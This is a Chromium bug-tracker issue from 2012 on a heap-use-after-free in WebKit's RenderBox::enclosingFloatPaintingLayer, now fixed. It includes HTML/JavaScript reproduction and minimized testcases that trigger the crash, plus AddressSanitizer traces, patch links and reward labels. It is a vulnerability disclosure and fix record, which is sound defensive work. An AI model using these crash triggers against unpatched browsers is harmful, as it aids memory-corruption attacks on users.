New issue
Advanced search Search tips
Starred by 1 user

Issue metadata

Status: Fixed
Owner:
Closed: Feb 2012
Cc:
Components:
EstimatedDays: ----
NextAction: ----
OS: All
Pri: 1
Type: Bug-Security

Restricted
  • Only users with EditIssue permission may comment.



Sign in to add a comment

Heap-use-after-free in WebCore::RenderBox::enclosingFloatPaintingLayer

Reported by miau...@gmail.com, Feb 24 2012 Back to list

Issue description

VULNERABILITY DETAILS
c#17 from  issue 105458 

VERSION
Chrome Version: 

Chromium	19.0.1051.0 (Developer Build 123410)
OS	Linux
WebKit	535.22 (@108661)
JavaScript	V8 3.9.9

Operating System: linux with bits of 64

REPRODUCTION CASE
<html>
  <head>
    <style>
      #el1::before {
        content: "A";
      }
      #el3::before {
        content: "A";
        float: right;
      }
    </style>
    <script>
      function crash(){
        el1 = document.createElement('div') 
        el1.setAttribute('id', 'el1') 
        document.body.appendChild(el1) 
        el3 = document.createElement('span') 
        el3.setAttribute('id', 'el3') 
        el1.appendChild(el3) 
        el4 = document.createElement('div') 
        el1.appendChild(el4) 
        el4.appendChild(document.createElement('div')) 
        el1.style.display='-webkit-flexbox'
        document.body.offsetTop
        el3.style.display='-webkit-flexbox'
      }
      window.onload=crash
    </script>
  </head>
  <body>
  </body>
</html>

FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION
Type of crash: asan tab
Crash State: 

==17744== ERROR: AddressSanitizer heap-use-after-free on address 0x7fffecc98cb0 at pc 0x5069873 bp 0x7fffffff69e0 sp 0x7fffffff69d8
READ of size 4 at 0x7fffecc98cb0 thread T0
    #0 0x5069873 in WebCore::RenderBox::enclosingFloatPaintingLayer() const ???:0
    #1 0x4fa12cd in WebCore::RenderBlock::addOverhangingFloats(WebCore::RenderBlock*, bool) ???:0
    #2 0x4fb2c25 in WebCore::RenderBlock::layoutBlockChild(WebCore::RenderBox*, WebCore::RenderBlock::MarginInfo&, int&, int&) ???:0

0x7fffecc98cb0 is located 48 bytes inside of 184-byte region [0x7fffecc98c80,0x7fffecc98d38)
freed by thread T0 here:
    #0 0x7e4bc22 in free ??:0
    #1 0x51a6eea in WebCore::RenderObjectChildList::destroyLeftoverChildren() ???:0
    #2 0x50d73fa in WebCore::RenderInline::willBeDestroyed() ???:0
    #3 0x51a1c02 in WebCore::RenderObject::destroy() ???:0



 
c17.txt
11.2 KB View Download
c17.html
777 bytes View Download
Summary: Heap-use-after-free in WebCore::RenderBox::enclosingFloatPaintingLayer (was: NULL)
Detailed report: https://cluster-fuzz.appspot.com/testcase?key=22427613

Uploader: kenrb@chromium.org

Crash Type: Heap-use-after-free READ 4
Crash Address: 0x7fb097244cb0
Crash State:
  - crash stack -
  WebCore::RenderBox::enclosingFloatPaintingLayer
  WebCore::RenderBlock::addOverhangingFloats
  - free stack -
  WebCore::RenderObjectChildList::destroyLeftoverChildren
  WebCore::RenderInline::willBeDestroyed
  
Regressed: https://cluster-fuzz.appspot.com/revisions?range=110350:110431

Minimized Testcase (0.75 Kb):
Download: https://cluster-fuzz.appspot.com/download/AMIfv959fyhId3FrgKDyKcF4xlqqVqnBBD4Z73DEW7B7cXgojOHE_A5ccPiYZHOCmoPVZWLG2MNaSNZ4shlpycEGJUgGFjA88Hvt-1i0vCbpYpzIwJH9FBlhnXq2OmTq6q6_g50mC_IjW5EMRnrUwse5XPZ-aQ_f7g
<style>
      #el3::before {
        content: "A";
        float: right;
</style>
    <script>
      function crash(){
        el0 = document.createElement('div') 
        document.body.appendChild(el0) 
        el1 = document.createElement('div') 
        el1.setAttribute('id', ('id', 'el3')) 
        el0.appendChild(el1) 
        el3 = document.createElement('span') 
        el3.setAttribute('id', 'el3') 
        el1.appendChild(el3) 
        el4 = document.createElement('div') 
        el1.appendChild(el4) 
        el5 = document.createElement('div') 
        el4.appendChild(el5) 
        el1.style.display='-webkit-flexbox'
        setTimeout(function() {
          el3.style.display='-webkit-flexbox'
        },0)
      }
      window.onload=crash
    </script>
Labels: -Pri-0 -Area-Undefined Pri-1 Area-WebKit SecImpacts-Stable SecImpacts-Beta Mstone-17 OS-All Stability-AddressSanitizer
Status: Available
Cc: ojan@chromium.org
Labels: SecSeverity-High
looking.
Owner: infe...@chromium.org
Status: Started
Labels: reward-topanel
Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify Merge-Approved
Status: FixUnreleased
http://trac.webkit.org/changeset/108847
Labels: -Merge-Approved Merge-Merged
M17: http://trac.webkit.org/changeset/109422
M18: http://trac.webkit.org/changeset/109423
Labels: -reward-topanel reward-1000 reward-unpaid
$1000

----
Boilerplate text:
Please do NOT publicly disclose details until a fix has been released to all our
users. Early public disclosure may cancel the provisional reward.
Also, please be considerate about disclosure when the bug affects a core library
that may be used by other products.
Please do NOT share this information with third parties who are not directly
involved in fixing the bug. Doing so may cancel the provisional reward.
Please be honest if you have already disclosed anything publicly or to third parties.
----
Labels: CVE-2011-3043
Labels: -reward-unpaid

Comment 14 by cdn@chromium.org, May 15 2012

Status: Fixed
Marking old security bugs Fixed..
Project Member

Comment 15 by bugdroid1@chromium.org, Oct 13 2012

Labels: Restrict-AddIssueComment-Commit
This issue has been closed for some time. No one will pay attention to new comments.
If you are seeing this bug or have new data, please click New Issue to start a new bug.
Project Member

Comment 16 by bugdroid1@chromium.org, Mar 10 2013

Labels: -Type-Security -Area-WebKit -SecImpacts-Stable -SecImpacts-Beta -Mstone-17 -Stability-AddressSanitizer -SecSeverity-High Cr-Content Security-Impact-Stable Security-Impact-Beta Performance-Memory-AddressSanitizer Type-Bug-Security M-17 Security-Severity-High
Project Member

Comment 17 by bugdroid1@chromium.org, Mar 13 2013

Labels: Restrict-View-EditIssue
Project Member

Comment 18 by bugdroid1@chromium.org, Mar 13 2013

Labels: -Restrict-AddIssueComment-Commit Restrict-AddIssueComment-EditIssue
Labels: -Restrict-View-SecurityNotify -Restrict-View-EditIssue
Project Member

Comment 20 by bugdroid1@chromium.org, Mar 21 2013

Labels: -Security-Severity-High Security_Severity-High
Project Member

Comment 21 by bugdroid1@chromium.org, Mar 21 2013

Labels: -Security-Impact-Stable Security_Impact-Stable
Project Member

Comment 22 by bugdroid1@chromium.org, Mar 21 2013

Labels: -Security-Impact-Beta Security_Impact-Beta
Project Member

Comment 23 by bugdroid1@chromium.org, Apr 1 2013

Labels: -Performance-Memory-AddressSanitizer Stability-Memory-AddressSanitizer
Project Member

Comment 24 by bugdroid1@chromium.org, Apr 6 2013

Labels: -Cr-Content Cr-Blink
Project Member

Comment 25 by sheriffbot@chromium.org, Jun 14 2016

Labels: -security_impact-beta
Project Member

Comment 26 by sheriffbot@chromium.org, Oct 1 2016

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Project Member

Comment 27 by sheriffbot@chromium.org, Oct 2 2016

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Labels: allpublic

Sign in to add a comment